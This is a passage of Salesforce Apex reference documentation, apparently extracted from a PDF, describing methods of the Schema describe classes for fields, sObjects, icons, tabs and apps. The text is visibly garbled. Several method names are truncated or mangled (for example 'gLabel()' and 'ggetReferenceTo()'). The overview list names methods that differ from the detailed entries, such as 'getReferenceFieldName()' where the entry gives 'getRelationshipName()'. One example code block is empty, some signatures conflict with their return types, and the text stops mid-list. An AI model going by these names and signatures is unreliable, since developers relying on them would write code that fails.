DescribeFieldResult Methods

The following are methods for DescribeFieldResult. All are instance methods.

IN THIS SECTION:

- `getByteLength()`
  For variable-length fields (including binary fields), returns the maximum size of the field, in bytes.

- `getCalculatedFormula()`
  Returns the formula specified for this field.

- `getController()`
  Returns the token of the controlling field.

- `getDefaultValue()`
  Returns the default value for this field.

- `getDefaultValueFormula()`
  Returns the default value specified for this field if a formula is not used.

- `getDigits()`
  Returns the maximum number of digits specified for the field. This method is only valid with Integer fields.

- `getInlineHelpText()`
  Returns the content of the field-level help.

- `getLabel()`
  Returns the text label that is displayed next to the field in the Salesforce user interface. This label can be localized.

- `getLength()`
  Returns the maximum size of the field for the DescribeFieldResult object in Unicode characters (not bytes).

- `getLocalName()`
  Returns the name of the field, similar to the `getName` method. However, if the field is part of the current namespace, the namespace portion of the name is omitted.

- `getName()`
  Returns the field name used in Apex.
getPicklistValues()
Returns a list of PicklistEntry objects. A runtime error is returned if the field is not a picklist.

getPrecision()
For fields of type Double, returns the maximum number of digits that can be stored, including all numbers to the left and to the right of the decimal point (but excluding the decimal point character).

getReferenceTargetField()
Returns the name of the custom field on the parent standard or custom object whose values are matched against the values of the child external object's indirect lookup relationship field. The match is done to determine which records are related to each other.

getReferenceTo()
Returns a list of Schema.sObjectType objects for the parent objects of this field. If the isNamePointing method returns true, there is more than one entry in the list, otherwise there is only one.

getReferenceFieldName()
Returns the name of the relationship.

getReferenceOrder()
Returns 1 if the field is a child, 0 otherwise.

getScale()
For fields of type Double, returns the number of digits to the right of the decimal point. Any extra digits to the right of the decimal point are truncated.

getSOAPType()
Returns one of the SoapType enum values, depending on the type of field.

getSObjectField()
Returns the token for this field.

type()
Returns one of the DisplayType enum values, depending on the type of field.

isAccessible()
Returns true if the current user can see this field, false otherwise.

isAiPredictionField() (Beta)
Returns true if the current field is enabled to display Einstein prediction data, false otherwise.

isAutoNumber()
Returns true if the field is an Auto Number field, false otherwise.

isCalculated()
Returns true if the field is a custom formula field, false otherwise. Note that custom formula fields are always read-only.

isCascadeDelete()
Returns true if the child object is deleted when the parent object is deleted, false otherwise.

isCaseSensitive()
Returns true if the field is case sensitive, false otherwise.

isCreateable()
Returns true if the field can be created by the current user, false otherwise.

isCustom()
Returns true if the field is a custom field, false if it is a standard field, such as Name.
isDefaultedOnCreate()
Returns true if the field receives a default value when created, false otherwise.

isDependentPicklist()
Returns true if the picklist is a dependent picklist, false otherwise.

isDeprecatedAndHidden()
Reserved for future use.

isExternalId()
Returns true if the field is used as an external ID, false otherwise.

isFilterable()
Returns true if the field can be used as part of the filter criteria of a WHERE statement, false otherwise.

isFormulaTreatNullNumberAsZero()
Returns true if null is treated as zero in a formula field, false otherwise.

isGroupable()
Returns true if the field can be included in the GROUP BY clause of a SOQL query, false otherwise. This method is only available for Apex classes and triggers saved using API version 18.0 and higher.

isHtmlFormatted()
Returns true if the field has been formatted for HTML and should be encoded for display in HTML, false otherwise. One example of a field that returns true for this method is a hyperlink custom formula field. Another example is a custom formula field that has an IMAGE text function.

isIdLookup()
Returns true if the field can be used to specify a record in an upsert method, false otherwise.

isNameField()
Returns true if the field is a name field, false otherwise.

isNamePointing()
Returns true if the field can have multiple types of objects as parents. For example, a task can have both the Contact/Lead ID (WhoId) field and the Opportunity/Account ID (WhatId) field return true for this method, because either of those objects can be the parent of a particular task record. This method returns false otherwise.

isNillable()
Returns true if the field is nillable, false otherwise. A nillable field can have empty content. A non-nillable field must have a value for the object to be created or saved.

isPermissionable()
Returns true if field permissions can be specified for the field, false otherwise.

isRestrictedDelete()
Returns true if the parent object can't be deleted because it is referenced by a child object, false otherwise.

isRestrictedPicklist()
Returns true if the field is a restricted picklist, false otherwise.

isSearchPrefilterable()
Returns true if a foreign key can be included in prefiltering when used in a SOSL WHERE clause, false otherwise.

isSortable()
Returns true if a query can sort on the field, false otherwise.
isUnique()
Returns true if the value for the field must be unique, false otherwise.

isUpdateable()
Returns true if the field can be edited by the current user, or child records in a master-detail relationship field on a custom object can be reparented to different parent records; false otherwise.

isWriteRequiresMasterRead()
Returns true if writing to the detail object requires read sharing instead of read/write sharing of the parent.

getByteLength()
For variable-length fields (including binary fields), returns the maximum size of the field, in bytes.

Signature
public Integer getByteLength()

Return Value
Type: Integer

getCalculatedFormula()
Returns the formula specified for this field.

Signature
public String getCalculatedFormula()

Return Value
Type: String

getController()
Returns the token of the controlling field.

Signature
public Schema.sObjectField getController()

Return Value
Type: Schema.SObjectField

getDefaultValue()
Returns the default value for this field.
getDefaultValue

Signature

**public Object** getDefaultValue()

Return Value

Type: Object

**getDefaultValueFormula()**

Returns the default value specified for this field if a formula is not used.

Signature

**public String** getDefaultValueFormula()

Return Value

Type: String

getDigits()

Returns the maximum number of digits specified for the field. This method is only valid with Integer fields.

Signature

**public Integer** getDigits()

Return Value

Type: Integer

getInlineHelpText()

Returns the content of the field-level help.

Signature

**public String** getInlineHelpText()

Return Value

Type: String

Usage

For more information, see “Define Field-Level Help” in the Salesforce online help.

**getLabel()**

Returns the text label that is displayed next to the field in the Salesforce user interface. This label can be localized.
Signature

```java
public String getLabel()
```

Return Value

Type: String

Usage

Note: For the Type field on standard objects, `getLabel` returns a label different from the default label. It returns a label of the form `Object Type`, where `Object` is the standard object label. For example, for the Type field on Account, `getLabel` returns `Account Type` instead of the default label `Type`. If the Type label is renamed, `getLabel` returns the new label. You can check or change the labels of all standard object fields from Setup by entering `Rename Tabs and Labels` in the Quick Find box, then selecting `Rename Tabs and Labels`.

**getLength()**

Returns the maximum size of the field for the DescribeFieldResult object in Unicode characters (not bytes).

Signature

```java
public Integer getLength()
```

Return Value

Type: Integer

**getLocalName()**

Returns the name of the field, similar to the `getName` method. However, if the field is part of the current namespace, the namespace portion of the name is omitted.

Signature

```java
public String getLocalName()
```

Return Value

Type: String

**getName()**

Returns the field name used in Apex.

Signature

```java
public String getName()
```
getPicklistValues()  
Returns a list of PicklistEntry objects. A runtime error is returned if the field is not a picklist.

Signature  
public List<Schema.PicklistEntry> getPicklistValues()

Return Value  
Type: List<Schema.PicklistEntry>

getPrecision()  
For fields of type Double, returns the maximum number of digits that can be stored, including all numbers to the left and to the right of the decimal point (but excluding the decimal point character).

Signature  
public Integer getPrecision()

Return Value  
Type: Integer

getReferenceTargetField()  
Returns the name of the custom field on the parent standard or custom object whose values are matched against the values of the child external object’s indirect lookup relationship field. The match is done to determine which records are related to each other.

Signature  
public String getReferenceTargetField()

Return Value  
Type: String

Usage  
For information about indirect lookup relationships, see “Indirect Lookup Relationship Fields on External Objects” in the Salesforce Help.

ggetReferenceTo()  
Returns a list of Schema.sObjectType objects for the parent objects of this field. If the isNamePointing method returns true, there is more than one entry in the list, otherwise there is only one.
**public List<Schema.sObjectType> getReferenceTo()**

**Return Value**
Type: List<Schema.sObjectType>

**Versioned Behavior Changes**
In API version 51.0 and later, the `getReferenceTo()` method returns referenced objects that aren't accessible to the context user. If the context user has access to an object's field that references another object, irrespective of the context user's access to the cross-referenced object, the method returns references. In API version 50.0 and earlier, if the context user doesn't have access to the cross-referenced object, the method returns an empty list.

**getRelationshipName()**
Returns the name of the relationship.

**Signature**
`public String getRelationshipName()`

**Return Value**
Type: String

**Usage**
For more information about relationships and relationship names, see *Understanding Relationship Names* in the *SOQL and SOSL Reference*.

**getRelationshipOrder()**
Returns 1 if the field is a child, 0 otherwise.

**Signature**
`public Integer getRelationshipOrder()`

**Return Value**
Type: Integer

**Usage**
For more information about relationships and relationship names, see *Understanding Relationship Names* in the *SOQL and SOSL Reference*.

**getScale()**
For fields of type Double, returns the number of digits to the right of the decimal point. Any extra digits to the right of the decimal point are truncated.
Signature

public Integer getScale()

Return Value
Type: Integer

Usage
This method returns a fault response if the number has too many digits to the left of the decimal point.

getSOAPType()
Returns one of the SoapType enum values, depending on the type of field.

Signature

public Schema.SOAPType getSOAPType()

Return Value
Type: Schema.SOAPType

getSObjectField()
Returns the token for this field.

Signature

public Schema.sObjectField getSObjectField()

Return Value
Type: Schema.sObjectField

getType()
Returns one of the DisplayType enum values, depending on the type of field.

Signature

public Schema.DisplayType getType()

Return Value
Type: Schema.DisplayType

isAccessible()
Returns true if the current user can see this field, false otherwise.
Signature

public Boolean isAccessible()

Return Value
Type: Boolean

isAiPredictionField() (Beta)
Returns true if the current field is enabled to display Einstein prediction data, false otherwise.

Signature

public Boolean isAiPredictionField()

Return Value
Type: Boolean

Usage
Custom number fields can be set to display Einstein prediction values. If you are participating in the Einstein Prediction Builder Beta program, use Einstein Prediction Builder to set up the value to display. Use this method to find out if a field is enabled to display an Einstein prediction value.

isAutoNumber()
Returns true if the field is an Auto Number field, false otherwise.

Signature

public Boolean isAutoNumber()

Return Value
Type: Boolean

Usage
Analogous to a SQL IDENTITY type, Auto Number fields are read-only, non-createable text fields with a maximum length of 30 characters. Auto Number fields are used to provide a unique ID that is independent of the internal object ID (such as a purchase order number or invoice number). Auto Number fields are configured entirely in the Salesforce user interface.

isCalculated()
Returns true if the field is a custom formula field, false otherwise. Note that custom formula fields are always read-only.

Signature

public Boolean isCalculated()
**Return Value**
Type: Boolean

**isCascadeDelete()**
Returns **true** if the child object is deleted when the parent object is deleted, **false** otherwise.

Signature

```java
public Boolean isCascadeDelete()
```

**Return Value**
Type: Boolean

**isCaseSensitive()**
Returns **true** if the field is case sensitive, **false** otherwise.

Signature

```java
public Boolean isCaseSensitive()
```

**isCreateable()**
Returns **true** if the field can be created by the current user, **false** otherwise.

Signature

```java
public Boolean isCreateable()
```

**isCustom()**
Returns **true** if the field is a custom field, **false** if it is a standard field, such as Name.

Signature

```java
public Boolean isCustom()
```

**Return Value**
Type: Boolean
**isDefaultedOnCreate()**
Returns `true` if the field receives a default value when created, `false` otherwise.

Signature
```
public Boolean isDefaultedOnCreate()
```

Return Value
Type: `Boolean`

Usage
If this method returns `true`, Salesforce implicitly assigns a value for this field when the object is created, even if a value for this field is not passed in on the create call. For example, in the Opportunity object, the Probability field has this attribute because its value is derived from the Stage field. Similarly, the Owner has this attribute on most objects because its value is derived from the current user (if the Owner field is not specified).

**isDependentPicklist()**
Returns `true` if the picklist is a dependent picklist, `false` otherwise.

Signature
```
public Boolean isDependentPicklist()
```

Return Value
Type: `Boolean`

**isDeprecatedAndHidden()**
Reserved for future use.

Signature
```
public Boolean isDeprecatedAndHidden()
```

Return Value
Type: `Boolean`

**isExternalID()**
Returns `true` if the field is used as an external ID, `false` otherwise.

Signature
```
public Boolean isExternalID()
```
**isFilterable()**

Returns `true` if the field can be used as part of the filter criteria of a `WHERE` statement, `false` otherwise.

**Signature**

```java
public Boolean isFilterable()
```

**isFormulaTreatNullNumberAsZero()**

Returns `true` if `null` is treated as zero in a formula field, `false` otherwise.

**Signature**

```java
public Boolean isFormulaTreatNullNumberAsZero()
```

**isGroupable()**

Returns `true` if the field can be included in the `GROUP BY` clause of a SOQL query, `false` otherwise. This method is only available for Apex classes and triggers saved using API version 18.0 and higher.

**Signature**

```java
public Boolean isGroupable()
```

**isHtmlFormatted()**

Returns `true` if the field has been formatted for HTML and should be encoded for display in HTML, `false` otherwise. One example of a field that returns `true` for this method is a hyperlink custom formula field. Another example is a custom formula field that has an `IMAGE` text function.

**Signature**

```java
public Boolean isHtmlFormatted()
```
Return Value
Type: Boolean

**isIdLookup()**
Returns *true* if the field can be used to specify a record in an *upsert* method, *false* otherwise.

Signature

```java
public Boolean isIdLookup()
```

Return Value
Type: Boolean

**isNameField()**
Returns *true* if the field is a name field, *false* otherwise.

Signature

```java
public Boolean isNameField()
```

Return Value
Type: Boolean

Usage
This method is used to identify the name field for standard objects (such as `AccountName` for an `Account` object) and custom objects. Objects can only have one name field, except where the `FirstName` and `LastName` fields are used instead (such as on the `Contact` object).

If a compound name is present, for example, the `Name` field on a person account, `isNameField` is set to `true` for that record.

**isNamePointing()**
Returns *true* if the field can have multiple types of objects as parents. For example, a task can have both the `Contact/Lead ID` (WhoId) field and the `Opportunity/Account ID` (WhatId) field return *true* for this method, because either of those objects can be the parent of a particular task record. This method returns *false* otherwise.

Signature

```java
public Boolean isNamePointing()
```

Return Value
Type: Boolean
**isNillable()**

Returns *true* if the field is nillable, *false* otherwise. A nillable field can have empty content. A non-nillable field must have a value for the object to be created or saved.

Signature

```java
public Boolean isNillable()
```

Return Value

Type: Boolean

**isPermissionable()**

Returns *true* if field permissions can be specified for the field, *false* otherwise.

Signature

```java
public Boolean isPermissionable()
```

Return Value

Type: Boolean

**isRestrictedDelete()**

Returns *true* if the parent object can’t be deleted because it is referenced by a child object, *false* otherwise.

Signature

```java
public Boolean isRestrictedDelete()
```

Return Value

Type: Boolean

**isRestrictedPicklist()**

Returns *true* if the field is a restricted picklist, *false* otherwise.

Signature

```java
public Boolean isRestrictedPicklist()
```

Return Value

Type: Boolean

**isSearchPrefilterable()**

Returns *true* if a foreign key can be included in prefiltering when used in a SOSL WHERE clause, *false* otherwise.
Signature
public Boolean isSearchPrefilterable()

Return Value
Type: Boolean

Usage
Prefiltering means to filter by a specific field value before executing the full search query. Prefiltering is supported only in WHERE clauses with the equals (=) operator.

**isSortable()**
Returns true if a query can sort on the field, false otherwise

Signature
public Boolean isSortable()

Return Value
Type: Boolean

**isUnique()**
Returns true if the value for the field must be unique, false otherwise

Signature
public Boolean isUnique()

Return Value
Type: Boolean

**isUpdateable()**
Returns true if the field can be edited by the current user, or child records in a master-detail relationship field on a custom object can be reparented to different parent records; false otherwise.

Signature
public Boolean isUpdateable()
**isWriteRequiresMasterRead()**

Returns **true** if writing to the detail object requires read sharing instead of read/write sharing of the parent.

**Signature**

```java
public Boolean isWriteRequiresMasterRead()
```

**Return Value**

Type: *Boolean*

**DescribeIconResult Class**

Contains icon metadata information for a tab.

**Namespace**

*Schema*

**Usage**

The `getIcons` method of the `Schema.DescribeTabResult` class returns a list of `Schema.DescribeIconResult` objects that describe colors used in a tab.

The methods in the `Schema.DescribeIconResult` class can be called using their property counterparts. For each method starting with `get`, you can omit the `get` prefix and the ending parentheses `()` to call the property counterpart. For example, `iconResultObj.url` is equivalent to `iconResultObj.getUrl()`.

**Example**

This sample shows how to get the icon information in the Sales app for the first tab's first icon.

```java
// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs();

// Iterate through each tab set
for (Schema.DescribeTabSetResult tsr : tabSetDesc) {
    // Get tab info for the Sales app
    if (tsr.getLabel() == 'Sales') {
        // Get icon information for the first tab
        List<Schema.DescribeIconResult> iconDesc = tsr.getTabs()[0].getIcons();
        // Display the icon height and width of the first icon
        System.debug('Height: ' + iconDesc[0].getHeight());
        System.debug('Width: ' + iconDesc[0].getWidth());
    }
}

// Example debug statement output
// DEBUG|Height: 32
// DEBUG|Width: 32
```
DescribeIconResult Methods

The following are methods for DescribeIconResult. All are instance methods.

IN THIS SECTION:

- `getContentType()`
  Returns the tab icon's content type, such as `image/png`.
  
- `getHeight()`
  Returns the tab icon's height in pixels.
  
- `getTheme()`
  Returns the tab's icon theme.
  
- `getUrl()`
  Returns the tab's icon fully qualified URL.
  
- `getWidth()`
  Returns the tab's icon width in pixels.

**getContentType()**

Returns the tab icon’s content type, such as `image/png`.

**Signature**

```java
public String getContentType()
```

**Return Value**

Type: String

**getHeight()**

Returns the tab icon’s height in pixels.

**Signature**

```java
public Integer getHeight()
```

**Return Value**

Type: Integer

**Usage**

- **Note:** If the icon content type is SVG, the icon won't have a size and its height is zero.

**getTheme()**

Returns the tab's icon theme.
public String getTheme()

Return Value
Type: String
Possible theme values include theme3, theme4, and custom.
• theme3 is the Salesforce theme introduced during Spring ’10.
• theme4 is the Salesforce theme introduced in Winter ’14 for the mobile touchscreen version of Salesforce.
• custom is the theme name associated with a custom icon.

getURL()
Returns the tab’s icon fully qualified URL.

Signature
public String getURL()

Return Value
Type: String

getWidth()
Returns the tab’s icon width in pixels.

Signature
public Integer getWidth()

Return Value
Type: Integer

Usage
Note: If the icon content type is SVG, the icon won’t have a size and its width is zero.

DescribeSObjectResult Class
Contains methods for describing SObjects. None of the methods take an argument.

Namespace
Schema
Usage

Instances of describe results on the same DescribeSObjectResult aren’t guaranteed to be equal because the state and behavior of a describe object is determined by various factors including the API version used. To compare describe results, call the getSObjectType() method on the SObject describe results and use the equality operator (==) to compare the SObjectType values.

DescribeSObjectResult Methods

The following are methods for DescribeSObjectResult. All are instance methods.

IN THIS SECTION:

- fields
  Follow fields with a field member variable name or with the getMap method.
- fieldSets
  Follow fieldSets with a field set name or with the getMap method.
- getChildRelationships()
  Returns a list of child relationships, which are the names of the sObjects that have a foreign key to the sObject being described.
- getDefaultImplementation()
  Reserved for future use.
- getHasSubtypes()
  Reserved for future use.
- getImplementedBy()
  Reserved for future use.
- getImplementsInterfaces()
  Reserved for future use.
- getIsInterface()
  Reserved for future use.
- getKeyPrefix()
  Returns the three-character prefix code for the object. Record IDs are prefixed with three-character codes that specify the type of the object (for example, accounts have a prefix of 001 and opportunities have a prefix of 006).
- getLabel()
  Returns the object’s label, which may or may not match the object name.
- getLabelPlural()
  Returns the object’s plural label, which may or may not match the object name.
- getLocalName()
  Returns the name of the object, similar to the getName method. However, if the object is part of the current namespace, the namespace portion of the name is omitted.
- getName()
  Returns the name of the object.
- getRecordTypeInfos()
  Returns a list of the record types supported by this object. The current user is not required to have access to a record type to see it in this list.
getRecordTypeInfosByDeveloperName()
Returns a map that matches developer names to their associated record type. The current user is not required to have access to a record type to see it in this map.

getRecordTypeInfosById()
Returns a map that matches record IDs to their associated record types. The current user is not required to have access to a record type to see it in this map.

getRecordTypeInfosByName()
Returns a map that matches record labels to their associated record type. The current user is not required to have access to a record type to see it in this map.

getSObjectDescribeOption()
Returns the effective describe option used by the system for the SObject.

getSobjectType()
Returns the Schema.SObjectType object for the sObject. You can use this to create a similar sObject.

isAccessible()
Returns true if the current user can see this object, false otherwise.

isCreateable()
Returns true if the object can be created by the current user, false otherwise.

isCustom()
Returns true if the object is a custom object, false if it is a standard object.

isCustomSetting()
Returns true if the object is a custom setting, false otherwise.

isDeletable()
Returns true if the object can be deleted by the current user, false otherwise.

isDeprecatedAndHidden()
Reserved for future use.

isFeedEnabled()
Returns true if Chatter feeds are enabled for the object, false otherwise. This method is only available for Apex classes and triggers saved using SalesforceAPI version 19.0 and later.

isMergeable()
Returns true if the object can be merged with other objects of its type by the current user, false otherwise. true is returned for leads, contacts, and accounts.

isMruEnabled()
Returns true if Most Recently Used (MRU) list functionality is enabled for the object, false otherwise.

isQueryable()
Returns true if the object can be queried by the current user, false otherwise.

isSearchable()
Returns true if the object can be searched by the current user, false otherwise.

isUndeletable()
Returns true if the object can be undeleted by the current user, false otherwise.

isUpdateable()
Returns true if the object can be updated by the current user, false otherwise.
**fields**

Follow *fields* with a field member variable name or with the *getMap* method.

**Signature**

```java
public Schema.SObjectTypeFields fields()
```

**Return Value**

Type: The return value is a special data type. See the example to learn how to use *fields*.

**Usage**

⚠️ **Note:** When you describe sObjects and their fields from within an Apex class, custom fields of new field types are returned regardless of the API version that the class is saved in. If a field type, such as the geolocation field type, is available only in a recent API version, components of a geolocation field are returned even if the class is saved in an earlier API version.

**Example**

```java
```

To get a custom field name, specify the custom field name.

**SEE ALSO:**
- Using Field Tokens
- Describing sObjects Using Schema Method
- Understanding Apex Describe Information

**fieldSets**

Follow *fieldSets* with a field set name or with the *getMap* method.

**Signature**

```java
public Schema.SObjectTypeFields fieldSets()
```

**Return Value**

Type: The return value is a special data type. See the example to learn how to use *fieldSets*.

**Example**

```java
Schema.DescribeSObjectResult d = Account.sObjectType.getDescribe();
```
Map<String, Schema.FieldSet> FsMap = d.fieldSets.getMap();

SEE ALSO:
- Using Field Tokens
- Describing sObjects Using Schema Method
- Understanding Apex Describe Information

**getChildRelationships()**

Returns a list of child relationships, which are the names of the sObjects that have a foreign key to the sObject being described.

**Signature**

```java
public Schema.ChildRelationship getChildRelationships()
```

**Return Value**

Type: List<Schema.ChildRelationship>

**Example**

For example, the Account object includes Contacts and Opportunities as child relationships.

**getDefaultImplementation()**

Reserved for future use.

**Signature**

```java
public String getDefaultImplementation()
```

**Return Value**

Type: String

**getHasSubtypes()**

Reserved for future use.

To check if Person Accounts are enabled for the current org, use this code snippet:

```java
Schema.SObjectType.Account.fields.getMap().containsKey( 'isPersonAccount' );
```

**Signature**

```java
public Boolean getHasSubtypes()
```

**Return Value**

Type: Boolean
getImplementedBy()
Reserved for future use.

Signature
public String getImplementedBy()

Return Value
Type: String

getImplementsInterfaces()
Reserved for future use.

Signature
public String getImplementsInterfaces()

Return Value
Type: String

getIsInterface()
Reserved for future use.

Signature
public Boolean getIsInterface()

Return Value
Type: Boolean

getKeyPrefix()
Returns the three-character prefix code for the object. Record IDs are prefixed with three-character codes that specify the type of the object (for example, accounts have a prefix of 001 and opportunities have a prefix of 006).

Signature
public String getKeyPrefix()

Return Value
Type: String
Usage
The DescribeSobjectResult object returns a value for objects that have a stable prefix. For object types that do not have a stable or predictable prefix, this field is blank. Client applications that rely on these codes can use this way of determining object type to ensure forward compatibility.

**getLabel()**

Returns the object’s label, which may or may not match the object name.

**Signature**

`public String getLabel()`

**Return Value**

Type: `String`

Usage
The object’s label might not always match the object name. For example, an organization in the medical industry might change the label for Account to Patient. This label is then used in the Salesforce user interface. See the Salesforce online help for more information.

**getLabelPlural()**

Returns the object’s plural label, which may or may not match the object name.

**Signature**

`public String getLabelPlural()`

**Return Value**

Type: `String`

Usage
The object’s plural label might not always match the object name. For example, an organization in the medical industry might change the plural label for Account to Patients. This label is then used in the Salesforce user interface. See the Salesforce online help for more information.

**getLocalName()**

Returns the name of the object, similar to the `getName` method. However, if the object is part of the current namespace, the namespace portion of the name is omitted.

**Signature**

`public String getLocalName()`
Return Value
Type: `String`

---

**getName()**

Returns the name of the object.

Signature

```java
public String getName()
```

Return Value
Type: `String`

---

**getRecordTypeInfos()**

Returns a list of the record types supported by this object. The current user is not required to have access to a record type to see it in this list.

Signature

```java
public List<Schema.RecordTypeInfo> getRecordTypeInfos()
```

Return Value
Type: `List<Schema.RecordTypeInfo>`

---

**getRecordTypeInfosByDeveloperName()**

Returns a map that matches developer names to their associated record type. The current user is not required to have access to a record type to see it in this map.

Signature

```java
public Map<String, Schema.RecordTypeInfo> getRecordTypeInfosByDeveloperName()
```

Return Value
Type: `Map<String, Schema.RecordTypeInfo>`

---

**getRecordTypeInfosById()**

Returns a map that matches record IDs to their associated record types. The current user is not required to have access to a record type to see it in this map.

Signature

```java
public Schema.RecordTypeInfo getRecordTypeInfosById()
```
getRecordTypeInfosByName()

Returns a map that matches record labels to their associated record type. The current user is not required to have access to a record type to see it in this map.

Signature

```
public Schema.RecordTypeInfo getRecordTypeInfosByName()
```

Return Value
Type: Map<String, Schema.RecordTypeInfo>

getSObjectDescribeOption()

Returns the effective describe option used by the system for the SObject.

Signature

```
public Schema.SObjectDescribeOptions getSObjectDescribeOption()
```

Return Value
Type: Schema.SObjectDescribeOptions

Valid values are:
- SObjectDescribeOptions.FULL: Indicates eager-load all elements of the describe, including child relationships, up-front at the time of method invocation.
- SObjectDescribeOptions.DEFERRED: Indicates lazy-load child relationships. This means that all child relationships will not be loaded at the time of first invocation of the method.

getSObjectType()

Returns the Schema.SObjectType object for the sObject. You can use this to create a similar sObject.

Signature

```
public Schema.SObjectType getSObjectType()
```

Return Value
Type: Schema.SObjectType

isAccessible()

Returns true if the current user can see this object, false otherwise.
Signature
public Boolean isAccessible()

Return Value
Type: Boolean

**isCreateable()**
Returns true if the object can be created by the current user, false otherwise.

Signature
public Boolean isCreateable()

Return Value
Type: Boolean

**isCustom()**
Returns true if the object is a custom object, false if it is a standard object.

Signature
public Boolean isCustom()

Return Value
Type: Boolean

**isCustomSetting()**
Returns true if the object is a custom setting, false otherwise.

Signature
public Boolean isCustomSetting()

Return Value
Type: Boolean

**isDeletable()**
Returns true if the object can be deleted by the current user, false otherwise.

Signature
public Boolean isDeletable()
isDeprecatedAndHidden()
Reserved for future use.

Signature
public Boolean isDeprecatedAndHidden()

Return Value
Type: Boolean

isFeedEnabled()
Returns true if Chatter feeds are enabled for the object, false otherwise. This method is only available for Apex classes and triggers saved using SalesforceAPI version 19.0 and later.

Signature
public Boolean isFeedEnabled()

Return Value
Type: Boolean

isMergeable()
Returns true if the object can be merged with other objects of its type by the current user, false otherwise. true is returned for leads, contacts, and accounts.

Signature
public Boolean isMergeable()

Return Value
Type: Boolean

isMruEnabled()
Returns true if Most Recently Used (MRU) list functionality is enabled for the object, false otherwise.

Signature
public Boolean isMruEnabled()
Return Value
Type: Boolean

**isQueryable()**
Returns `true` if the object can be queried by the current user, `false` otherwise.

Signature
public Boolean isQueryable()

Return Value
Type: Boolean

**isSearchable()**
Returns `true` if the object can be searched by the current user, `false` otherwise.

Signature
public Boolean isSearchable()

Return Value
Type: Boolean

**isUndeletable()**
Returns `true` if the object can be undeleted by the current user, `false` otherwise.

Signature
public Boolean isUndeletable()

Return Value
Type: Boolean

**isUpdateable()**
Returns `true` if the object can be updated by the current user, `false` otherwise.

Signature
public Boolean isUpdateable()
DescribeTabResult Class

Contains tab metadata information for a tab in a standard or custom app available in the Salesforce user interface.

Namespace

Schema

Usage

The `getTabs` method of the `Schema.DescribeTabSetResult` returns a list of `Schema.DescribeTabResult` objects that describe the tabs of one app.

The methods in the `Schema.DescribeTabResult` class can be called using their property counterparts. For each method starting with `get`, you can omit the `get` prefix and the ending parentheses () to call the property counterpart. For example, `tabResultObj.label` is equivalent to `tabResultObj.getLabel()`. Similarly, for each method starting with `is`, omit the `is` prefix and the ending parentheses (). For example, `tabResultObj.isCustom` is equivalent to `tabResultObj.custom`.

DescribeTabResult Methods

The following are methods for `DescribeTabResult`. All are instance methods.

IN THIS SECTION:

- `getColors()`
  Returns a list of color metadata information for all colors associated with this tab. Each color is associated with a theme and context.

- `getIconUrl()`
  Returns the URL for the main 32 x 32-pixel icon for a tab. This icon corresponds to the current theme (theme3) and appears next to the heading at the top of most pages.

- `getIcons()`
  Returns a list of icon metadata information for all icons associated with this tab. Each icon is associated with a theme and context.

- `getLabel()`
  Returns the display label of this tab.

- `getMiniIconUrl()`
  Returns the URL for the 16 x 16-pixel icon that represents a tab. This icon corresponds to the current theme (theme3) and appears in related lists and other locations.

- `getSobjectName()`
  Returns the name of the sObject that is primarily displayed on this tab (for tabs that display a particular SObject).

- `getUrl()`
  Returns a fully qualified URL for viewing this tab.

- `isCustom()`
  Returns `true` if this is a custom tab, or `false` if this is a standard tab.

getColors()

Returns a list of color metadata information for all colors associated with this tab. Each color is associated with a theme and context.
public List<Schema.DescribeColorResult> getColors()

Return Value
Type: List<Schema.DescribeColorResult>

getIconUrl()
Returns the URL for the main 32 x 32-pixel icon for a tab. This icon corresponds to the current theme (theme3) and appears next to the heading at the top of most pages.

public String getIconUrl()

Return Value
Type: String

getIcons()
Returns a list of icon metadata information for all icons associated with this tab. Each icon is associated with a theme and context.

public List<Schema.DescribeIconResult> getIcons()

Return Value
Type: List<Schema.DescribeIconResult>

getLabel()
Returns the display label of this tab.

public String getLabel()

Return Value
Type: String

getMiniIconUrl()
Returns the URL for the 16 x 16-pixel icon that represents a tab. This icon corresponds to the current theme (theme3) and appears in related lists and other locations.
Signature
public String getMiniIconUrl()

Return Value
Type: String

gSobjectName()
Returns the name of the sObject that is primarily displayed on this tab (for tabs that display a particular SOBject).

Signature
public String getSobjectName()

Return Value
Type: String

getUrl()
Returns a fully qualified URL for viewing this tab.

Signature
public String getUrl()

Return Value
Type: String

isCustom()
Returns true if this is a custom tab, or false if this is a standard tab.

Signature
public Boolean isCustom()

Return Value
Type: Boolean

DescribeTabSetResult Class
Contains metadata information about a standard or custom app available in the Salesforce user interface.

Namespace
Schema
Usage

The Schema.describeTabs method returns a list of Schema.DescribeTabSetResult objects that describe standard and custom apps.

The methods in the Schema.DescribeTabSetResult class can be called using their property counterparts. For each method starting with `get`, you can omit the `get` prefix and the ending parentheses `()` to call the property counterpart. For example, `tabSetResultObj.label` is equivalent to `tabSetResultObj.getLabel()`. Similarly, for each method starting with `is`, omit the `is` prefix and the ending parentheses `()`. For example, `tabSetResultObj.isSelected` is equivalent to `tabSetResultObj.selected`.

Example

This example shows how to call the Schema.describeTabs method to get describe information for all available apps. This example iterates through each describe result and gets more metadata information for the Sales app.

```java
// App we're interested to get more info about
String appName = 'Sales';

// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs();

// Iterate through each tab set describe for each app and display the info
for(Schema.DescribeTabSetResult tsr : tabSetDesc) {
    // Get more information for the Sales app
    if (tsr.getLabel() == appName) {
        // Find out if the app is selected
        if (tsr.isSelected()) {
            System.debug('The ' + appName + ' app is selected. ');
        }
        // Get the app's Logo URL and namespace
        String logo = tsr.getLogoUrl();
        System.debug('Logo URL: ' + logo);
        String ns = tsr.getNamespace();
        if (ns == '') {
            System.debug('The ' + appName + ' app has no namespace defined.');
        } else {
            System.debug('Namespace: ' + ns);
        }
        // Get the number of tabs
        System.debug('The ' + appName + ' app has ' + tsr.getTabs().size() + ' tabs.');
    }
}

// Example debug statement output
// DEBUG|The Sales app is selected.
// DEBUG|Logo URL: https://yourInstance.salesforce.com/img/seasonLogos/2014_winter_aloha.png
// DEBUG|The Sales app has no namespace defined.
// DEBUG|The Sales app has 14 tabs.
```

DescribeTabSetResult Methods

The following are methods for DescribeTabSetResult. All are instance methods.
IN THIS SECTION:

getDescription()
Returns the display description for the standard or custom app.

gLabel()
Returns the display label for the standard or custom app.

gLogoUrl()
Returns a fully qualified URL to the logo image associated with the standard or custom app.

gNamespace()
Returns the developer namespace prefix of a Salesforce AppExchange managed package.

gTabs()
Returns metadata information about the standard or custom app’s displayed tabs.

isSelected()
Returns true if this standard or custom app is the user’s currently selected app. Otherwise, returns false.

gDescription()
